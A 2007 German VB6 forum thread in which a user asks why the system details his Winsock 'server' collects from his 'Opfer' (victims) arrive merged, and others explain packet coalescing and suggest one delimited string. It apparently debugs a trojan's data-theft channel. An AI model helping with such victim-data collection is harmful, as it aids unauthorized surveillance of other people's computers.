Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
lordblack_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 10.11.2007
Beiträge: 55

Fehler in der Caption
Verfasst am: 23.12.2007, 14:06

Moin Loite Sad
Ich habe von gestern um 11 Uhr abends bis heutemorgen um 6 an ein und dem selben Problem gehong und ich kriege es einfach nicht weg. Ich habe mir auch schon Rat von -=SyS=- geholt aber viel weiter gekomm sind wir auch nicht. Und zwar ich lasse mir von meinen Opfern ein Paar Infos zusenden

PC Name
Admin
Betriebssystem
System32
Windows Laufzeit
Auflösung
Laufwerk´s Serial

So auslesen tut der Serer das ja aber wenn ich dem server nun sage das er mir die infos senden soll passiert folgendes



Ihr seht neben Windows Laufzeit wird nicht nur die Laufzeit gecapturt sondern gleich alles. Warum er das macht weiss ich aber wie kann ich das Problem beheben?

Hier mal mein Code!

Server:
Code:
Private Sub Timer6_Timer()
On Error GoTo fire

Form1.Winsock1.SendData ("wl" & Label1.Caption)

Form1.Winsock1.SendData ("sys32" & Label2.Caption)


Form1.Winsock1.SendData ("betsys" & Label3.Caption)


Form1.Winsock1.SendData ("ser" & Label4.Caption)


Form1.Winsock1.SendData ("ser1" & Label5.Caption)


Form1.Winsock1.SendData ("auflö" & Label6.Caption)

fire:
End Sub



Client

Code:
If InStr(Data, "wl") Then
Data = Replace(Data, "wl", "")
frmsys.Label11.Caption = Data
End If


Ich habe bis jetzt nur das "wl" in den Clienten gemacht da ich eh diesen fehler habe!

Ich hoffe ihr könnt mir helfen.

MFG LordBlack
 
Hamtaro_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 06.05.2007
Beiträge: 217
Wohnort: NRW


Verfasst am: 23.12.2007, 16:59

Das kommt bei Winsock gelegentlich vor, die Pakete werden zusammengefasst gesendet. statt
Code:
ws.Senddata "w" ws.Senddata "s" ws.Senddata "e"

schick er
Code:
wse

ICh weiß auch nicht was man da machen kann, außer vllt nem kleinen Sleep oder DoEvents.
Wie findet ihr meine Sig?
 
lordblack_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 10.11.2007
Beiträge: 55


Verfasst am: 23.12.2007, 17:02

Ich denke es kommt weil ich alle sachen über ein Winsock versende und halt sage er soll das "ws" nich capturen sondern die Daten! und da alle 7 dinger Daten sind macht er in jedes label alle 7 Daten rein. Ih will jetz auch nich 7 winsock adden das wäre denke ich schwachsinn. Es gibt da 100%ig noch ne leichtere lösung
 
crusader727_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 12.05.2007
Beiträge: 44


Verfasst am: 23.12.2007, 17:52

mach aus den ganzen zeugs einen string und verschick den...

server:
ws.senddata %pcname% & "|trennmich|" & %username% & "|trennmich|" & %os%

client:
dim infos() as string

infos() = split(data, "|trennmich|")

lbl_pc.caption = infos(0)
lbl_user.caption = infos(1)
lbl_os.caption = infos(2)
 
lordblack_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 10.11.2007
Beiträge: 55


Verfasst am: 23.12.2007, 18:03


Und da is die leichteste Antwort auch schon xD. Danke
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: caption, code

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 983 09.06.2011, 13:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2609 06.03.2008, 21:19
Keine neuen Beiträge ListView speichern & laden 1331 05.08.2008, 13:32
Keine neuen Beiträge Registry & Co Fragen 1203 03.05.2007, 10:57
Keine neuen Beiträge Listbox speichern & laden 2268 22.03.2007, 21:25
 


[ Time: 0.1132s ][ Queries: 92 (0.0432s) ][ GZIP on - Debug on ]